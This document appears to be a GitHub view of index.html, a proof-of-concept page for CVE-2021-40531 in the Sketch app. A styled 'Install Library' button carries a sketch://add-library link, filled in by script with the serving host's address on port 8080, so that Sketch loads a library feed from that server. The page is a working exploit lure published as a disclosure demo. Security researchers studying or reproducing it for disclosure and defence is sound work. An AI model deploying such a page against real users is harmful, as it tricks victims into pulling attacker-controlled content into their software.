-
Notifications
You must be signed in to change notification settings - Fork 3
/
index.html
78 lines (59 loc) · 1.44 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<html>
<head>
<style>
body {
font-family: -apple-system, sans-serif;
background: #e5e7eb;
color: #111827;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
}
h1 {
margin: 0;
}
.content {
background: #ffffff;
width: 512px;
padding: 1rem;
border-radius: 0.5rem;
box-shadow: 0px 8px 32px #9ca3af;
}
a,
a:visited {
color: #2563eb;
}
#link {
display: block;
margin-top: 2rem;
padding: 1rem;
background: #111827;
color: #ffffff;
border-radius: 0.25rem;
text-decoration: none;
transition: all 0.25s;
}
#link:hover {
background: #3b82f6;
box-shadow: 0px 2px 8px #9ca3af;
transform: translateY(-2px);
}
</style>
</head>
<body>
<div class="content">
<h1>CVE-2021-40531 Demo</h1>
<span>by <a href="https://twitter.com/jonpalmisc">@jonpalmisc</a></span>
<a id="link">Install Library →</a>
</div>
<script>
let TEMPLATE =
"sketch://add-library?url=http%3A%2F%2F_HOSTNAME_%3A8080%2Ffeed.rss";
let server = window.location.hostname;
console.log(server);
let link = document.getElementById("link");
link.href = TEMPLATE.replace("_HOSTNAME_", server);
</script>
</body>
</html>